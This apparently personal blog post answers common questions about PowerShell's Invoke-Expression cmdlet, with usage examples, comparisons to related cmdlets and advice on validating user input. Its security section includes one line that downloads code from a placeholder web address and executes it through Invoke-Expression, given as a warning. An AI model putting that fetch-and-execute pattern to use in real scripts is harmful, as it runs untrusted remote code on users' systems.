The Invoke-Expression PowerShell cmdlet can be easy to misunderstand when and when not to use it. In this article, I’ve put together a number of top FAQs. I’m going to break them down and include tons of useful examples for you to reference whenever you might need them. That means you should bookmark this page right now!
Want more tips like this? Check out my personal PowerShell blog at: https://www.nkasco.com/
What is Invoke-Expression
?
The official description, per Microsoft is, “The Invoke-Expression
cmdlet evaluates or runs a specified string as a command and returns the results of the expression or command. Without Invoke-Expression
, a string submitted at the command line would be returned (echoed) unchanged.”
In other words, it can be useful for calling code within a script or building commands to be executed later. It can also be used cautiously in combination with user provided input.
The most basic example of using Invoke-Expression
is defining a script and passing that string to the Command
parameter. Invoke-Expression
then executes that string.
#Run a PowerShell command via Invoke-Expression
$Command = 'Get-Process'
Invoke-Expression -Command $Command
#Execute a script via Invoke-Expression
$MyScript = '.\MyScript.ps1'
Invoke-Expression -Command $MyScript
What if I have spaces in my script path?
Ensure you enclose strings with single or double quotes.
For example, if you’d like to execute a string with a space in the path, these options will not work:
# These don't work
$MyScript = "C:\Folder Path\MyScript.ps1"
#or
$MyScript = "'C:\Folder Path\MyScript.ps1'"
Invoke-Expression $MyScript
Why? Because this is exactly the same thing as typing this directly in the PowerShell console:
PS51> C:\Folder Path\MyScript.ps1
However, if you enclose the path item in single or double quotes with the entire string in quotes, Invoke-Expression
will execute the script as expected.
$MyScript = "C:\'Folder Path'\MyScript.ps1"
Invoke-Expression $MyScript
Q. How do you pass parameters to scripts invoked with Invoke-Expression
?
The only parameter Invoke-Expression
has is Command
. There is no native way to pass parameters with Invoke-Expression
. However, instead, you can include them in the string you pass to the Command
parameter.
Perhaps I have a script with two parameters called Path
and Force
. Instead of using a specific parameter via Invoke-Expression
, you can pass parameters to that script by passing them as you typically would via the console.
If you would typically call this script like this via the console:
PS51> & 'C:\Scripts\MyScript.ps1' -Path 'C:\file.txt' -Force
You have to include that entire line in a string and then pass that string to the Command
parameter.
$scriptPath = 'C:\Scripts\MyScript.ps1'
$params = '-Path "C:\file.txt" -Force'
Invoke-Expression "$scriptPath $params"
# or
$string = 'C:\Scripts\MyScript.ps1 -Path "C:\file.txt" -Force'
Invoke-Expression $string
Does try/catch make sense with Invoke-Expression?
Not really. This means you need to use error handling within your Command
parameter.
Example:
# Doesn't work - Invoke-Expression doesn't act as a global error handler!
try{
$Command = 'Get-Process powerhell'
Invoke-Expression $Command -ErrorAction Stop
} catch {
Write-Host "Oops, something went wrong!"
}
What’s the difference between Invoke-Expression
and the call operator (&
)?
The call operator (&) is great to quickly run a command, script, or script block. However, the call operator does not parse the command. It cannot interpret command parameters as Invoke-Expression can.
For example, perhaps I’d like to get the PowerShell Core process using the Get-Process
cmdlet usin the code Get-Process -ProcessName pwsh
. Concatenating Get-Process
and the parameter will not work as expected using the call operator.
$a = "Get-Process"
## Doesn't work
& "$a pwsh"
But if you execute this string with Invoke-Expression
, it will work as expected.
Invoke-Expression "$a pwsh"
What’s the difference between Invoke-Expression
and Start-Process
?
The Start-Process
cmdlet provides a return or exit code in the returned object. It allows you to wait for the called process to complete and allows you to launch a process under a different Windows credential. Invoke-Expression
is quick and dirty whereas Start-Process
can be more useful for interpreting results of the executed process.
What’s the difference between Invoke-Expression
and Invoke-Command
?
Invoke-Expression
only “converts” a string to executable code. Invoke-Command
, on the other hand, leverages PowerShell Remoting giving you the ability to invoke code locally or remotely on computers.
Invoke-Command
is preferable if you are writing the executed commands now, as you retain intellisense in your IDE whereas Invoke-Expression
would be preferable if you wanted to call another script from within your current one.
Example:
#These both work the same way, but we lost our intellisense with the Invoke-Expression example.
Invoke-Command -ScriptBlock {
Get-Process Chrome
Get-Process Powershell
}
Invoke-Expression -Command "
Get-Process Chrome
Get-Process Powershell
"
What’s the difference between Invoke-Expression
and Invoke-Item
?
The Invoke-Item
cmdlet gives you inline support for multiple paths to open documents with their default action, with parameters for including, excluding, adding credentials, and even confirmation for additional security.
Is Invoke-Expression secure?
A. If someone had malicious intent they might be able to trick some virus programs by masking malicious code that constructs itself during runtime. Invoke-Expression
will happily execute whatever text is passed to it’s Command
parameter.
Example:
$Command = "(Invoke-Webrequest -Uri `"http://website.com/CompletelySafeCode`").Content"
Invoke-Expression $Command
What are some best practices for executing multiple commands/expressions?
If you have multiple commands to execute, even though Invoke-Expression
only accepts a string rather than an array, we can use the PowerShell pipeline to send objects down the pipeline one at a time.
Example:
# Doesn't work
$MyCollection = @(
'Get-Process Chrome',
'Get-Service bits'
)
Invoke-Expression $MyCollection
# Works
'Get-Process Chrome', 'Get-Service bits' | Invoke-Expression
How do I use Invoke-Expression
with user input?
You should be very cautious with using Invoke-Expression with user input. If you allow a prompt to a user in a way that gives them access outside of the command you are intending to execute, it could create an unwanted vulnerability. Here is one way you can safely implement user input with Invoke-Expression
.
do{
$Response = Read-Host "Please enter a process name"
$RunningProcesses = Get-Process
#Validate the user input here before proceeding
if($Response -notin $RunningProcesses.Name){
Write-Host "That process wasn't found, please try again.`n" #Avoid using $Response here
}
} until ($Response -in $RunningProcesses.Name)
$Command = "Get-Process $Response"
Invoke-Expression $Command
Conclusion
Every cmdlet has their place and Invoke-Expression
is one that just about everyone will run into at one point or another. It’s important to understand the pros and cons of frequently used cmdlets so that you are implementing them in a way that sets yourself up for success. I’m curious to hear how you have used Invoke-Expression
to solve some of your own challenges, leave a comment below and share your story!
Want more tips like this? Check out my personal PowerShell blog at: https://www.nkasco.com/